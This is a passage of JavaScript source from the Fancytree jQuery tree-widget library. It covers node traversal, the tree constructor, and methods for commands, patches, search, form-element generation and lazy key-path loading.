		 * @returns {boolean}
		 */
		visit: function (fn, includeSelf) {
			var i,
				l,
				res = true,
				children = this.children;

			if (includeSelf === true) {
				res = fn(this);
				if (res === false || res === "skip") {
					return res;
				}
			}
			if (children) {
				for (i = 0, l = children.length; i < l; i++) {
					res = children[i].visit(fn, true);
					if (res === false) {
						break;
					}
				}
			}
			return res;
		},
		/** Call fn(node) for all child nodes and recursively load lazy children.<br>
		 * <b>Note:</b> If you need this method, you probably should consider to review
		 * your architecture! Recursivley loading nodes is a perfect way for lazy
		 * programmers to flood the server with requests ;-)
		 *
		 * @param {function} [fn] optional callback function.
		 *     Return false to stop iteration, return "skip" to skip this node and
		 *     its children only.
		 * @param {boolean} [includeSelf=false]
		 * @returns {$.Promise}
		 * @since 2.4
		 */
		visitAndLoad: function (fn, includeSelf, _recursion) {
			var dfd,
				res,
				loaders,
				node = this;

			// node.debug("visitAndLoad");
			if (fn && includeSelf === true) {
				res = fn(node);
				if (res === false || res === "skip") {
					return _recursion ? res : _getResolvedPromise();
				}
			}
			if (!node.children && !node.lazy) {
				return _getResolvedPromise();
			}
			dfd = new $.Deferred();
			loaders = [];
			// node.debug("load()...");
			node.load().done(function () {
				// node.debug("load()... done.");
				for (var i = 0, l = node.children.length; i < l; i++) {
					res = node.children[i].visitAndLoad(fn, true, true);
					if (res === false) {
						dfd.reject();
						break;
					} else if (res !== "skip") {
						loaders.push(res); // Add promise to the list
					}
				}
				$.when.apply(this, loaders).then(function () {
					dfd.resolve();
				});
			});
			return dfd.promise();
		},
		/** Call fn(node) for all parent nodes, bottom-up, including invisible system root.<br>
		 * Stop iteration, if fn() returns false.<br>
		 * Return false if iteration was stopped.
		 *
		 * @param {function} fn the callback function.
		 *     Return false to stop iteration, return "skip" to skip this node and children only.
		 * @param {boolean} [includeSelf=false]
		 * @returns {boolean}
		 */
		visitParents: function (fn, includeSelf) {
			// Visit parent nodes (bottom up)
			if (includeSelf && fn(this) === false) {
				return false;
			}
			var p = this.parent;
			while (p) {
				if (fn(p) === false) {
					return false;
				}
				p = p.parent;
			}
			return true;
		},
		/** Call fn(node) for all sibling nodes.<br>
		 * Stop iteration, if fn() returns false.<br>
		 * Return false if iteration was stopped.
		 *
		 * @param {function} fn the callback function.
		 *     Return false to stop iteration.
		 * @param {boolean} [includeSelf=false]
		 * @returns {boolean}
		 */
		visitSiblings: function (fn, includeSelf) {
			var i,
				l,
				n,
				ac = this.parent.children;

			for (i = 0, l = ac.length; i < l; i++) {
				n = ac[i];
				if (includeSelf || n !== this) {
					if (fn(n) === false) {
						return false;
					}
				}
			}
			return true;
		},
		/** Write warning to browser console if debugLevel >= 2 (prepending node info)
		 *
		 * @param {*} msg string or object or array of such
		 */
		warn: function (msg) {
			if (this.tree.options.debugLevel >= 2) {
				Array.prototype.unshift.call(arguments, this.toString());
				consoleApply("warn", arguments);
			}
		},
	};

	/******************************************************************************
	 * Fancytree
	 */
	/**
	 * Construct a new tree object.
	 *
	 * @class Fancytree
	 * @classdesc The controller behind a fancytree.
	 * This class also contains 'hook methods': see {@link Fancytree_Hooks}.
	 *
	 * @param {Widget} widget
	 *
	 * @property {string} _id Automatically generated unique tree instance ID, e.g. "1".
	 * @property {string} _ns Automatically generated unique tree namespace, e.g. ".fancytree-1".
	 * @property {FancytreeNode} activeNode Currently active node or null.
	 * @property {string} ariaPropName Property name of FancytreeNode that contains the element which will receive the aria attributes.
	 *     Typically "li", but "tr" for table extension.
	 * @property {jQueryObject} $container Outer `<ul>` element (or `<table>` element for ext-table).
	 * @property {jQueryObject} $div A jQuery object containing the element used to instantiate the tree widget (`widget.element`)
	 * @property {object|array} columns Recommended place to store shared column meta data. @since 2.27
	 * @property {object} data Metadata, i.e. properties that may be passed to `source` in addition to a children array.
	 * @property {object} ext Hash of all active plugin instances.
	 * @property {FancytreeNode} focusNode Currently focused node or null.
	 * @property {FancytreeNode} lastSelectedNode Used to implement selectMode 1 (single select)
	 * @property {string} nodeContainerAttrName Property name of FancytreeNode that contains the outer element of single nodes.
	 *     Typically "li", but "tr" for table extension.
	 * @property {FancytreeOptions} options Current options, i.e. default options + options passed to constructor.
	 * @property {FancytreeNode} rootNode Invisible system root node.
	 * @property {string} statusClassPropName Property name of FancytreeNode that contains the element which will receive the status classes.
	 *     Typically "span", but "tr" for table extension.
	 * @property {object} types Map for shared type specific meta data, used with node.type attribute. @since 2.27
	 * @property {object} viewport See ext-vieport. @since v2.31
	 * @property {object} widget Base widget instance.
	 */
	function Fancytree(widget) {
		this.widget = widget;
		this.$div = widget.element;
		this.options = widget.options;
		if (this.options) {
			if (this.options.lazyload !== undefined) {
				$.error(
					"The 'lazyload' event is deprecated since 2014-02-25. Use 'lazyLoad' (with uppercase L) instead."
				);
			}
			if (this.options.loaderror !== undefined) {
				$.error(
					"The 'loaderror' event was renamed since 2014-07-03. Use 'loadError' (with uppercase E) instead."
				);
			}
			if (this.options.fx !== undefined) {
				$.error(
					"The 'fx' option was replaced by 'toggleEffect' since 2014-11-30."
				);
			}
			if (this.options.removeNode !== undefined) {
				$.error(
					"The 'removeNode' event was replaced by 'modifyChild' since 2.20 (2016-09-10)."
				);
			}
		}
		this.ext = {}; // Active extension instances
		this.types = {};
		this.columns = {};
		// allow to init tree.data.foo from <div data-foo=''>
		this.data = _getElementDataAsDict(this.$div);
		// TODO: use widget.uuid instead?
		this._id = "" + (this.options.treeId || $.ui.fancytree._nextId++);
		// TODO: use widget.eventNamespace instead?
		this._ns = ".fancytree-" + this._id; // append for namespaced events
		this.activeNode = null;
		this.focusNode = null;
		this._hasFocus = null;
		this._tempCache = {};
		this._lastMousedownNode = null;
		this._enableUpdate = true;
		this.lastSelectedNode = null;
		this.systemFocusElement = null;
		this.lastQuicksearchTerm = "";
		this.lastQuicksearchTime = 0;
		this.viewport = null; // ext-grid

		this.statusClassPropName = "span";
		this.ariaPropName = "li";
		this.nodeContainerAttrName = "li";

		// Remove previous markup if any
		this.$div.find(">ul.fancytree-container").remove();

		// Create a node without parent.
		var fakeParent = { tree: this },
			$ul;
		this.rootNode = new FancytreeNode(fakeParent, {
			title: "root",
			key: "root_" + this._id,
			children: null,
			expanded: true,
		});
		this.rootNode.parent = null;

		// Create root markup
		$ul = $("<ul>", {
			id: "ft-id-" + this._id,
			class: "ui-fancytree fancytree-container fancytree-plain",
		}).appendTo(this.$div);
		this.$container = $ul;
		this.rootNode.ul = $ul[0];

		if (this.options.debugLevel == null) {
			this.options.debugLevel = FT.debugLevel;
		}
		// // Add container to the TAB chain
		// // See http://www.w3.org/TR/wai-aria-practices/#focus_activedescendant
		// // #577: Allow to set tabindex to "0", "-1" and ""
		// this.$container.attr("tabindex", this.options.tabindex);

		// if( this.options.rtl ) {
		// 	this.$container.attr("DIR", "RTL").addClass("fancytree-rtl");
		// // }else{
		// //	this.$container.attr("DIR", null).removeClass("fancytree-rtl");
		// }
		// if(this.options.aria){
		// 	this.$container.attr("role", "tree");
		// 	if( this.options.selectMode !== 1 ) {
		// 		this.$container.attr("aria-multiselectable", true);
		// 	}
		// }
	}

	Fancytree.prototype = /** @lends Fancytree# */ {
		/* Return a context object that can be re-used for _callHook().
		 * @param {Fancytree | FancytreeNode | EventData} obj
		 * @param {Event} originalEvent
		 * @param {Object} extra
		 * @returns {EventData}
		 */
		_makeHookContext: function (obj, originalEvent, extra) {
			var ctx, tree;
			if (obj.node !== undefined) {
				// obj is already a context object
				if (originalEvent && obj.originalEvent !== originalEvent) {
					$.error("invalid args");
				}
				ctx = obj;
			} else if (obj.tree) {
				// obj is a FancytreeNode
				tree = obj.tree;
				ctx = {
					node: obj,
					tree: tree,
					widget: tree.widget,
					options: tree.widget.options,
					originalEvent: originalEvent,
					typeInfo: tree.types[obj.type] || {},
				};
			} else if (obj.widget) {
				// obj is a Fancytree
				ctx = {
					node: null,
					tree: obj,
					widget: obj.widget,
					options: obj.widget.options,
					originalEvent: originalEvent,
				};
			} else {
				$.error("invalid args");
			}
			if (extra) {
				$.extend(ctx, extra);
			}
			return ctx;
		},
		/* Trigger a hook function: funcName(ctx, [...]).
		 *
		 * @param {string} funcName
		 * @param {Fancytree|FancytreeNode|EventData} contextObject
		 * @param {any}  [_extraArgs] optional additional arguments
		 * @returns {any}
		 */
		_callHook: function (funcName, contextObject, _extraArgs) {
			var ctx = this._makeHookContext(contextObject),
				fn = this[funcName],
				args = Array.prototype.slice.call(arguments, 2);
			if (!_isFunction(fn)) {
				$.error("_callHook('" + funcName + "') is not a function");
			}
			args.unshift(ctx);
			// this.debug("_hook", funcName, ctx.node && ctx.node.toString() || ctx.tree.toString(), args);
			return fn.apply(this, args);
		},
		_setExpiringValue: function (key, value, ms) {
			this._tempCache[key] = {
				value: value,
				expire: Date.now() + (+ms || 50),
			};
		},
		_getExpiringValue: function (key) {
			var entry = this._tempCache[key];
			if (entry && entry.expire > Date.now()) {
				return entry.value;
			}
			delete this._tempCache[key];
			return null;
		},
		/* Check if this tree has extension `name` enabled.
		 *
		 * @param {string} name name of the required extension
		 */
		_usesExtension: function (name) {
			return $.inArray(name, this.options.extensions) >= 0;
		},
		/* Check if current extensions dependencies are met and throw an error if not.
		 *
		 * This method may be called inside the `treeInit` hook for custom extensions.
		 *
		 * @param {string} name name of the required extension
		 * @param {boolean} [required=true] pass `false` if the extension is optional, but we want to check for order if it is present
		 * @param {boolean} [before] `true` if `name` must be included before this, `false` otherwise (use `null` if order doesn't matter)
		 * @param {string} [message] optional error message (defaults to a descriptve error message)
		 */
		_requireExtension: function (name, required, before, message) {
			if (before != null) {
				before = !!before;
			}
			var thisName = this._local.name,
				extList = this.options.extensions,
				isBefore =
					$.inArray(name, extList) < $.inArray(thisName, extList),
				isMissing = required && this.ext[name] == null,
				badOrder = !isMissing && before != null && before !== isBefore;

			_assert(
				thisName && thisName !== name,
				"invalid or same name '" + thisName + "' (require yourself?)"
			);

			if (isMissing || badOrder) {
				if (!message) {
					if (isMissing || required) {
						message =
							"'" +
							thisName +
							"' extension requires '" +
							name +
							"'";
						if (badOrder) {
							message +=
								" to be registered " +
								(before ? "before" : "after") +
								" itself";
						}
					} else {
						message =
							"If used together, `" +
							name +
							"` must be registered " +
							(before ? "before" : "after") +
							" `" +
							thisName +
							"`";
					}
				}
				$.error(message);
				return false;
			}
			return true;
		},
		/** Activate node with a given key and fire focus and activate events.
		 *
		 * A previously activated node will be deactivated.
		 * If activeVisible option is set, all parents will be expanded as necessary.
		 * Pass key = false, to deactivate the current node only.
		 * @param {string} key
		 * @param {object} [opts] additional options. Defaults to {noEvents: false, noFocus: false}
		 * @returns {FancytreeNode} activated node (null, if not found)
		 */
		activateKey: function (key, opts) {
			var node = this.getNodeByKey(key);
			if (node) {
				node.setActive(true, opts);
			} else if (this.activeNode) {
				this.activeNode.setActive(false, opts);
			}
			return node;
		},
		/** (experimental) Add child status nodes that indicate 'More...', ....
		 * @param {boolean|object} node optional node definition. Pass `false` to remove all paging nodes.
		 * @param {string} [mode='append'] 'child'|firstChild'
		 * @since 2.15
		 */
		addPagingNode: function (node, mode) {
			return this.rootNode.addPagingNode(node, mode);
		},
		/**
		 * (experimental) Apply a modification (or navigation) operation.
		 *
		 * Valid commands:
		 *   - 'moveUp', 'moveDown'
		 *   - 'indent', 'outdent'
		 *   - 'remove'
		 *   - 'edit', 'addChild', 'addSibling': (reqires ext-edit extension)
		 *   - 'cut', 'copy', 'paste': (use an internal singleton 'clipboard')
		 *   - 'down', 'first', 'last', 'left', 'parent', 'right', 'up': navigate
		 *
		 * @param {string} cmd
		 * @param {FancytreeNode} [node=active_node]
		 * @param {object} [opts] Currently unused
		 *
		 * @since 2.32
		 */
		applyCommand: function (cmd, node, opts_) {
			var // clipboard,
				refNode;
			// opts = $.extend(
			// 	{ setActive: true, clipboard: CLIPBOARD },
			// 	opts_
			// );

			node = node || this.getActiveNode();
			// clipboard = opts.clipboard;

			switch (cmd) {
				// Sorting and indentation:
				case "moveUp":
					refNode = node.getPrevSibling();
					if (refNode) {
						node.moveTo(refNode, "before");
						node.setActive();
					}
					break;
				case "moveDown":
					refNode = node.getNextSibling();
					if (refNode) {
						node.moveTo(refNode, "after");
						node.setActive();
					}
					break;
				case "indent":
					refNode = node.getPrevSibling();
					if (refNode) {
						node.moveTo(refNode, "child");
						refNode.setExpanded();
						node.setActive();
					}
					break;
				case "outdent":
					if (!node.isTopLevel()) {
						node.moveTo(node.getParent(), "after");
						node.setActive();
					}
					break;
				// Remove:
				case "remove":
					refNode = node.getPrevSibling() || node.getParent();
					node.remove();
					if (refNode) {
						refNode.setActive();
					}
					break;
				// Add, edit (requires ext-edit):
				case "addChild":
					node.editCreateNode("child", "");
					break;
				case "addSibling":
					node.editCreateNode("after", "");
					break;
				case "rename":
					node.editStart();
					break;
				// Simple clipboard simulation:
				// case "cut":
				// 	clipboard = { mode: cmd, data: node };
				// 	break;
				// case "copy":
				// 	clipboard = {
				// 		mode: cmd,
				// 		data: node.toDict(function(d, n) {
				// 			delete d.key;
				// 		}),
				// 	};
				// 	break;
				// case "clear":
				// 	clipboard = null;
				// 	break;
				// case "paste":
				// 	if (clipboard.mode === "cut") {
				// 		// refNode = node.getPrevSibling();
				// 		clipboard.data.moveTo(node, "child");
				// 		clipboard.data.setActive();
				// 	} else if (clipboard.mode === "copy") {
				// 		node.addChildren(clipboard.data).setActive();
				// 	}
				// 	break;
				// Navigation commands:
				case "down":
				case "first":
				case "last":
				case "left":
				case "parent":
				case "right":
				case "up":
					return node.navigate(cmd);
				default:
					$.error("Unhandled command: '" + cmd + "'");
			}
		},
		/** (experimental) Modify existing data model.
		 *
		 * @param {Array} patchList array of [key, NodePatch] arrays
		 * @returns {$.Promise} resolved, when all patches have been applied
		 * @see TreePatch
		 */
		applyPatch: function (patchList) {
			var dfd,
				i,
				p2,
				key,
				patch,
				node,
				patchCount = patchList.length,
				deferredList = [];

			for (i = 0; i < patchCount; i++) {
				p2 = patchList[i];
				_assert(
					p2.length === 2,
					"patchList must be an array of length-2-arrays"
				);
				key = p2[0];
				patch = p2[1];
				node = key === null ? this.rootNode : this.getNodeByKey(key);
				if (node) {
					dfd = new $.Deferred();
					deferredList.push(dfd);
					node.applyPatch(patch).always(_makeResolveFunc(dfd, node));
				} else {
					this.warn("could not find node with key '" + key + "'");
				}
			}
			// Return a promise that is resolved, when ALL patches were applied
			return $.when.apply($, deferredList).promise();
		},
		/* TODO: implement in dnd extension
		cancelDrag: function() {
				var dd = $.ui.ddmanager.current;
				if(dd){
					dd.cancel();
				}
			},
		*/
		/** Remove all nodes.
		 * @since 2.14
		 */
		clear: function (source) {
			this._callHook("treeClear", this);
		},
		/** Return the number of nodes.
		 * @returns {integer}
		 */
		count: function () {
			return this.rootNode.countChildren();
		},
		/** Write to browser console if debugLevel >= 4 (prepending tree name)
		 *
		 * @param {*} msg string or object or array of such
		 */
		debug: function (msg) {
			if (this.options.debugLevel >= 4) {
				Array.prototype.unshift.call(arguments, this.toString());
				consoleApply("log", arguments);
			}
		},
		/** Destroy this widget, restore previous markup and cleanup resources.
		 *
		 * @since 2.34
		 */
		destroy: function () {
			this.widget.destroy();
		},
		/** Enable (or disable) the tree control.
		 *
		 * @param {boolean} [flag=true] pass false to disable
		 * @since 2.30
		 */
		enable: function (flag) {
			if (flag === false) {
				this.widget.disable();
			} else {
				this.widget.enable();
			}
		},
		/** Temporarily suppress rendering to improve performance on bulk-updates.
		 *
		 * @param {boolean} flag
		 * @returns {boolean} previous status
		 * @since 2.19
		 */
		enableUpdate: function (flag) {
			flag = flag !== false;
			if (!!this._enableUpdate === !!flag) {
				return flag;
			}
			this._enableUpdate = flag;
			if (flag) {
				this.debug("enableUpdate(true): redraw "); //, this._dirtyRoots);
				this._callHook("treeStructureChanged", this, "enableUpdate");
				this.render();
			} else {
				// 	this._dirtyRoots = null;
				this.debug("enableUpdate(false)...");
			}
			return !flag; // return previous value
		},
		/** Write error to browser console if debugLevel >= 1 (prepending tree info)
		 *
		 * @param {*} msg string or object or array of such
		 */
		error: function (msg) {
			if (this.options.debugLevel >= 1) {
				Array.prototype.unshift.call(arguments, this.toString());
				consoleApply("error", arguments);
			}
		},
		/** Expand (or collapse) all parent nodes.
		 *
		 * This convenience method uses `tree.visit()` and `tree.setExpanded()`
		 * internally.
		 *
		 * @param {boolean} [flag=true] pass false to collapse
		 * @param {object} [opts] passed to setExpanded()
		 * @since 2.30
		 */
		expandAll: function (flag, opts) {
			var prev = this.enableUpdate(false);

			flag = flag !== false;
			this.visit(function (node) {
				if (
					node.hasChildren() !== false &&
					node.isExpanded() !== flag
				) {
					node.setExpanded(flag, opts);
				}
			});
			this.enableUpdate(prev);
		},
		/**Find all nodes that matches condition.
		 *
		 * @param {string | function(node)} match title string to search for, or a
		 *     callback function that returns `true` if a node is matched.
		 * @returns {FancytreeNode[]} array of nodes (may be empty)
		 * @see FancytreeNode#findAll
		 * @since 2.12
		 */
		findAll: function (match) {
			return this.rootNode.findAll(match);
		},
		/**Find first node that matches condition.
		 *
		 * @param {string | function(node)} match title string to search for, or a
		 *     callback function that returns `true` if a node is matched.
		 * @returns {FancytreeNode} matching node or null
		 * @see FancytreeNode#findFirst
		 * @since 2.12
		 */
		findFirst: function (match) {
			return this.rootNode.findFirst(match);
		},
		/** Find the next visible node that starts with `match`, starting at `startNode`
		 * and wrap-around at the end.
		 *
		 * @param {string|function} match
		 * @param {FancytreeNode} [startNode] defaults to first node
		 * @returns {FancytreeNode} matching node or null
		 */
		findNextNode: function (match, startNode) {
			//, visibleOnly) {
			var res = null,
				firstNode = this.getFirstChild();

			match =
				typeof match === "string"
					? _makeNodeTitleStartMatcher(match)
					: match;
			startNode = startNode || firstNode;

			function _checkNode(n) {
				// console.log("_check " + n)
				if (match(n)) {
					res = n;
				}
				if (res || n === startNode) {
					return false;
				}
			}
			this.visitRows(_checkNode, {
				start: startNode,
				includeSelf: false,
			});
			// Wrap around search
			if (!res && startNode !== firstNode) {
				this.visitRows(_checkNode, {
					start: firstNode,
					includeSelf: true,
				});
			}
			return res;
		},
		/** Find a node relative to another node.
		 *
		 * @param {FancytreeNode} node
		 * @param {string|number} where 'down', 'first', 'last', 'left', 'parent', 'right', or 'up'.
		 *   (Alternatively the keyCode that would normally trigger this move,
		 *   e.g. `$.ui.keyCode.LEFT` = 'left'.
		 * @param {boolean} [includeHidden=false] Not yet implemented
		 * @returns {FancytreeNode|null}
		 * @since v2.31
		 */
		findRelatedNode: function (node, where, includeHidden) {
			var res = null,
				KC = $.ui.keyCode;

			switch (where) {
				case "parent":
				case KC.BACKSPACE:
					if (node.parent && node.parent.parent) {
						res = node.parent;
					}
					break;
				case "first":
				case KC.HOME:
					// First visible node
					this.visit(function (n) {
						if (n.isVisible()) {
							res = n;
							return false;
						}
					});
					break;
				case "last":
				case KC.END:
					this.visit(function (n) {
						// last visible node
						if (n.isVisible()) {
							res = n;
						}
					});
					break;
				case "left":
				case KC.LEFT:
					if (node.expanded) {
						node.setExpanded(false);
					} else if (node.parent && node.parent.parent) {
						res = node.parent;
					}
					break;
				case "right":
				case KC.RIGHT:
					if (!node.expanded && (node.children || node.lazy)) {
						node.setExpanded();
						res = node;
					} else if (node.children && node.children.length) {
						res = node.children[0];
					}
					break;
				case "up":
				case KC.UP:
					this.visitRows(
						function (n) {
							res = n;
							return false;
						},
						{ start: node, reverse: true, includeSelf: false }
					);
					break;
				case "down":
				case KC.DOWN:
					this.visitRows(
						function (n) {
							res = n;
							return false;
						},
						{ start: node, includeSelf: false }
					);
					break;
				default:
					this.tree.warn("Unknown relation '" + where + "'.");
			}
			return res;
		},
		// TODO: fromDict
		/**
		 * Generate INPUT elements that can be submitted with html forms.
		 *
		 * In selectMode 3 only the topmost selected nodes are considered, unless
		 * `opts.stopOnParents: false` is passed.
		 *
		 * @example
		 * // Generate input elements for active and selected nodes
		 * tree.generateFormElements();
		 * // Generate input elements selected nodes, using a custom `name` attribute
		 * tree.generateFormElements("cust_sel", false);
		 * // Generate input elements using a custom filter
		 * tree.generateFormElements(true, true, { filter: function(node) {
		 *     return node.isSelected() && node.data.yes;
		 * }});
		 *
		 * @param {boolean | string} [selected=true] Pass false to disable, pass a string to override the field name (default: 'ft_ID[]')
		 * @param {boolean | string} [active=true] Pass false to disable, pass a string to override the field name (default: 'ft_ID_active')
		 * @param {object} [opts] default { filter: null, stopOnParents: true }
		 */
		generateFormElements: function (selected, active, opts) {
			opts = opts || {};

			var nodeList,
				selectedName =
					typeof selected === "string"
						? selected
						: "ft_" + this._id + "[]",
				activeName =
					typeof active === "string"
						? active
						: "ft_" + this._id + "_active",
				id = "fancytree_result_" + this._id,
				$result = $("#" + id),
				stopOnParents =
					this.options.selectMode === 3 &&
					opts.stopOnParents !== false;

			if ($result.length) {
				$result.empty();
			} else {
				$result = $("<div>", {
					id: id,
				})
					.hide()
					.insertAfter(this.$container);
			}
			if (active !== false && this.activeNode) {
				$result.append(
					$("<input>", {
						type: "radio",
						name: activeName,
						value: this.activeNode.key,
						checked: true,
					})
				);
			}
			function _appender(node) {
				$result.append(
					$("<input>", {
						type: "checkbox",
						name: selectedName,
						value: node.key,
						checked: true,
					})
				);
			}
			if (opts.filter) {
				this.visit(function (node) {
					var res = opts.filter(node);
					if (res === "skip") {
						return res;
					}
					if (res !== false) {
						_appender(node);
					}
				});
			} else if (selected !== false) {
				nodeList = this.getSelectedNodes(stopOnParents);
				$.each(nodeList, function (idx, node) {
					_appender(node);
				});
			}
		},
		/**
		 * Return the currently active node or null.
		 * @returns {FancytreeNode}
		 */
		getActiveNode: function () {
			return this.activeNode;
		},
		/** Return the first top level node if any (not the invisible root node).
		 * @returns {FancytreeNode | null}
		 */
		getFirstChild: function () {
			return this.rootNode.getFirstChild();
		},
		/**
		 * Return node that has keyboard focus or null.
		 * @returns {FancytreeNode}
		 */
		getFocusNode: function () {
			return this.focusNode;
		},
		/**
		 * Return current option value.
		 * (Note: this is the preferred variant of `$().fancytree("option", "KEY")`)
		 *
		 * @param {string} name option name (may contain '.')
		 * @returns {any}
		 */
		getOption: function (optionName) {
			return this.widget.option(optionName);
		},
		/**
		 * Return node with a given key or null if not found.
		 *
		 * @param {string} key
		 * @param {FancytreeNode} [searchRoot] only search below this node
		 * @returns {FancytreeNode | null}
		 */
		getNodeByKey: function (key, searchRoot) {
			// Search the DOM by element ID (assuming this is faster than traversing all nodes).
			var el, match;
			// TODO: use tree.keyMap if available
			// TODO: check opts.generateIds === true
			if (!searchRoot) {
				el = document.getElementById(this.options.idPrefix + key);
				if (el) {
					return el.ftnode ? el.ftnode : null;
				}
			}
			// Not found in the DOM, but still may be in an unrendered part of tree
			searchRoot = searchRoot || this.rootNode;
			match = null;
			key = "" + key; // Convert to string (#1005)
			searchRoot.visit(function (node) {
				if (node.key === key) {
					match = node;
					return false; // Stop iteration
				}
			}, true);
			return match;
		},
		/** Return the invisible system root node.
		 * @returns {FancytreeNode}
		 */
		getRootNode: function () {
			return this.rootNode;
		},
		/**
		 * Return an array of selected nodes.
		 *
		 * Note: you cannot send this result via Ajax directly. Instead the
		 * node object need to be converted to plain objects, for example
		 * by using `$.map()` and `node.toDict()`.
		 * @param {boolean} [stopOnParents=false] only return the topmost selected
		 *     node (useful with selectMode 3)
		 * @returns {FancytreeNode[]}
		 */
		getSelectedNodes: function (stopOnParents) {
			return this.rootNode.getSelectedNodes(stopOnParents);
		},
		/** Return true if the tree control has keyboard focus
		 * @returns {boolean}
		 */
		hasFocus: function () {
			// var ae = document.activeElement,
			// 	hasFocus = !!(
			// 		ae && $(ae).closest(".fancytree-container").length
			// 	);

			// if (hasFocus !== !!this._hasFocus) {
			// 	this.warn(
			// 		"hasFocus(): fix inconsistent container state, now: " +
			// 			hasFocus
			// 	);
			// 	this._hasFocus = hasFocus;
			// 	this.$container.toggleClass("fancytree-treefocus", hasFocus);
			// }
			// return hasFocus;
			return !!this._hasFocus;
		},
		/** Write to browser console if debugLevel >= 3 (prepending tree name)
		 * @param {*} msg string or object or array of such
		 */
		info: function (msg) {
			if (this.options.debugLevel >= 3) {
				Array.prototype.unshift.call(arguments, this.toString());
				consoleApply("info", arguments);
			}
		},
		/** Return true if any node is currently beeing loaded, i.e. a Ajax request is pending.
		 * @returns {boolean}
		 * @since 2.32
		 */
		isLoading: function () {
			var res = false;

			this.rootNode.visit(function (n) {
				// also visit rootNode
				if (n._isLoading || n._requestId) {
					res = true;
					return false;
				}
			}, true);
			return res;
		},
		/*
		TODO: isInitializing: function() {
			return ( this.phase=="init" || this.phase=="postInit" );
		},
		TODO: isReloading: function() {
			return ( this.phase=="init" || this.phase=="postInit" ) && this.options.persist && this.persistence.cookiesFound;
		},
		TODO: isUserEvent: function() {
			return ( this.phase=="userEvent" );
		},
		*/

		/**
		 * Make sure that a node with a given ID is loaded, by traversing - and
		 * loading - its parents. This method is meant for lazy hierarchies.
		 * A callback is executed for every node as we go.
		 * @example
		 * // Resolve using node.key:
		 * tree.loadKeyPath("/_3/_23/_26/_27", function(node, status){
		 *   if(status === "loaded") {
		 *     console.log("loaded intermediate node " + node);
		 *   }else if(status === "ok") {
		 *     node.activate();
		 *   }
		 * });
		 * // Use deferred promise:
		 * tree.loadKeyPath("/_3/_23/_26/_27").progress(function(data){
		 *   if(data.status === "loaded") {
		 *     console.log("loaded intermediate node " + data.node);
		 *   }else if(data.status === "ok") {
		 *     node.activate();
		 *   }
		 * }).done(function(){
		 *    ...
		 * });
		 * // Custom path segment resolver:
		 * tree.loadKeyPath("/321/431/21/2", {
		 *   matchKey: function(node, key){
		 *     return node.data.refKey === key;
		 *   },
		 *   callback: function(node, status){
		 *     if(status === "loaded") {
		 *       console.log("loaded intermediate node " + node);
		 *     }else if(status === "ok") {
		 *       node.activate();
		 *     }
		 *   }
		 * });
		 * @param {string | string[]} keyPathList one or more key paths (e.g. '/3/2_1/7')
		 * @param {function | object} optsOrCallback callback(node, status) is called for every visited node ('loading', 'loaded', 'ok', 'error').
		 *     Pass an object to define custom key matchers for the path segments: {callback: function, matchKey: function}.
		 * @returns {$.Promise}
		 */
		loadKeyPath: function (keyPathList, optsOrCallback) {
			var callback,
				i,
				path,
				self = this,
				dfd = new $.Deferred(),
				parent = this.getRootNode(),
				sep = this.options.keyPathSeparator,
				pathSegList = [],
				opts = $.extend({}, optsOrCallback);

			// Prepare options
			if (typeof optsOrCallback === "function") {
				callback = optsOrCallback;
			} else if (optsOrCallback && optsOrCallback.callback) {
				callback = optsOrCallback.callback;
			}
			opts.callback = function (ctx, node, status) {
				if (callback) {
					callback.call(ctx, node, status);
				}
				dfd.notifyWith(ctx, [{ node: node, status: status }]);
			};
			if (opts.matchKey == null) {
				opts.matchKey = function (node, key) {
					return node.key === key;
				};
			}
			// Convert array of path strings to array of segment arrays
			if (!_isArray(keyPathList)) {
				keyPathList = [keyPathList];
			}
			for (i = 0; i < keyPathList.length; i++) {
				path = keyPathList[i];
				// strip leading slash
				if (path.charAt(0) === sep) {
					path = path.substr(1);
				}
				// segListMap[path] = { parent: parent, segList: path.split(sep) };
				pathSegList.push(path.split(sep));
				// targetList.push({ parent: parent, segList: path.split(sep)/* , path: path*/});
			}
			// The timeout forces async behavior always (even if nodes are all loaded)
			// This way a potential progress() event will fire.
			setTimeout(function () {
				self._loadKeyPathImpl(dfd, opts, parent, pathSegList).done(
					function () {
						dfd.resolve();
					}
				);
			}, 0);
			return dfd.promise();
		},
		/*
		 * Resolve a list of paths, relative to one parent node.
		 */
		_loadKeyPathImpl: function (dfd, opts, parent, pathSegList) {
			var deferredList,
				i,
				key,
				node,
				nodeKey,
				remain,
				remainMap,
				tmpParent,
				segList,
				subDfd,
				self = this;

			function __findChild(parent, key) {
				// console.log("__findChild", key, parent);
				var i,
					l,
					cl = parent.children;

				if (cl) {
					for (i = 0, l = cl.length; i < l; i++) {
						if (opts.matchKey(cl[i], key)) {
							return cl[i];
						}
					}
				}
				return null;
			}

			// console.log("_loadKeyPathImpl, parent=", parent, ", pathSegList=", pathSegList);

			// Pass 1:
			// Handle all path segments for nodes that are already loaded.
			// Collect distinct top-most lazy nodes in a map.
			// Note that we can use node.key to de-dupe entries, even if a custom matcher would
			// look for other node attributes.
			// map[node.key] => {node: node, pathList: [list of remaining rest-paths]}
			remainMap = {};

			for (i = 0; i < pathSegList.length; i++) {
				segList = pathSegList[i];
				// target = targetList[i];

				// Traverse and pop path segments (i.e. keys), until we hit a lazy, unloaded node
				tmpParent = parent;
				while (segList.length) {
					key = segList.shift();
					node = __findChild(tmpParent, key);
					if (!node) {
						this.warn(
							"loadKeyPath: key not found: " +
								key +
								" (parent: " +
								tmpParent +
								")"
						);
						opts.callback(this, key, "error");
						break;
					} else if (segList.length === 0) {
						opts.callback(this, node, "ok");
						break;
					} else if (!node.lazy || node.hasChildren() !== undefined) {
						opts.callback(this, node, "loaded");
						tmpParent = node;
					} else {
						opts.callback(this, node, "loaded");
						key = node.key; //target.segList.join(sep);
						if (remainMap[key]) {
							remainMap[key].pathSegList.push(segList);
						} else {
							remainMap[key] = {
								parent: node,
								pathSegList: [segList],
							};
						}
						break;
					}
				}
			}
			// console.log("_loadKeyPathImpl AFTER pass 1, remainMap=", remainMap);

			// Now load all lazy nodes and continue iteration for remaining paths
			deferredList = [];

			// Avoid jshint warning 'Don't make functions within a loop.':
			function __lazyload(dfd, parent, pathSegList) {
				// console.log("__lazyload", parent, "pathSegList=", pathSegList);
				opts.callback(self, parent, "loading");
				parent
					.load()
					.done(function () {
						self._loadKeyPathImpl
							.call(self, dfd, opts, parent, pathSegList)
							.always(_makeResolveFunc(dfd, self));
					})
					.fail(function (errMsg) {
						self.warn("loadKeyPath: error loading lazy " + parent);
						opts.callback(self, node, "error");
						dfd.rejectWith(self);
					});
			}
